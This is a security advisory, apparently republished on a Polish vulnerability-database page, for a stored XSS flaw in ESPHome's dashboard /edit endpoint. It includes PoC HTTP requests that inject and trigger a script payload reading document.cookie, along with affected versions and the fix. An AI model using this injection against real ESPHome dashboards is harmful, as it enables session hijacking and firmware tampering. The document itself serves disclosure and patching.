esphome vulnerable to stored Cross-site Scripting in edit configuration file API
Summary
Edit configuration file API in dashboard component of ESPHome version 2023.12.9 (command line installation and Home Assistant add-on) serves unsanitized data with “Content-Type: text/html; charset=UTF-8”, allowing remote authenticated user to inject arbitrary web script and exfiltrate session cookies via Cross-Site scripting (XSS).
Credits
Spike Reply Cybersecurity Teams
Details
It is possible for a malicious authenticated user to inject arbitrary Javascript in configuration files using a POST request to the /edit endpoint, the configuration parameter allows to specify the file to write.
To trigger the XSS vulnerability, the victim must visit the page /edit?configuration=[xss file].
PoC
To reproduce the issue, it is possible to perform a POST request to inject the payload:
request: POST /edit?configuration=xss.yaml HTTP/1.1 Host: localhost:6052 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://localhost:6052/ Connection: close Cookie: authenticated=[replace with valid cookie] Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Content-Length: 40
<script>alert(document.cookie);</script>response: HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Thu, 30 Nov 2023 11:02:27 GMT Content-Length: 0 Connection: close
And subsequently trigger the XSS with a GET request to the same endpoint:
request: GET /edit?configuration=xss.yaml HTTP/1.1 Host: localhost:6052 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://localhost:6052/ Connection: close Cookie: authenticated=2|1:0|10:1701341719|13:authenticated|4:eWVz|0907127d7274094cc5a2490b95becf5c11fd52b8c3ee3655d65fe9fda099108c Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Content-Length: 0
response: HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Thu, 30 Nov 2023 11:04:12 GMT Etag: "ec6c9889f5c9a6c8e9d2d5e4ce1b1a85e6e7da2b" Content-Length: 40 Connection: close
<script>alert(document.cookie);</script>Impact
Abusing this vulnerability a malicious actor could perform operations on the dashboard on the behalf of a logged user, access sensitive information, create, edit and delete configuration files and flash firmware on managed boards. In addition to this, cookies are not correctly secured, allowing the exfiltration of session cookie values.
Credits
Spike Reply Cybersecurity Team
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | esphome | >= 2023.12.9, < 2024.2.2 | 2024.2.2 |
Odnośniki
- https://github.com/esphome/esphome/security/advisories/GHSA-9p43-hj5j-96h5
- https://github.com/esphome/esphome/commit/37d2b3c7977a4ccbec59726ca7549cb776661455
- https://github.com/esphome/esphome
- https://pypi.org/project/esphome
- https://github.com/advisories/GHSA-9p43-hj5j-96h5
- https://nvd.nist.gov/vuln/detail/CVE-2024-27287
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N- Słabość (CWE)
CWE-79- Platforma
- Python (PyPI)
- Paczka
esphome- Ujawniono
- 06.03.2024
- Aktualizacja
- 11.10.2026 13:19
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2026-1329 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-9p43-hj5j-96h5 - CC BY 4.0
Historia podatności: esphome
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 6
- Pierwsza → ostatnia
- 09.2021 01.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 4
- Średnia 2
Ujawnienia w latach
- 2021: 1
- 2022: 0
- 2023: 0
- 2024: 3
- 2025: 1
- 2026: 1
-
esphome vulnerable to stored Cross-site Scripting in edit configuration file API ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.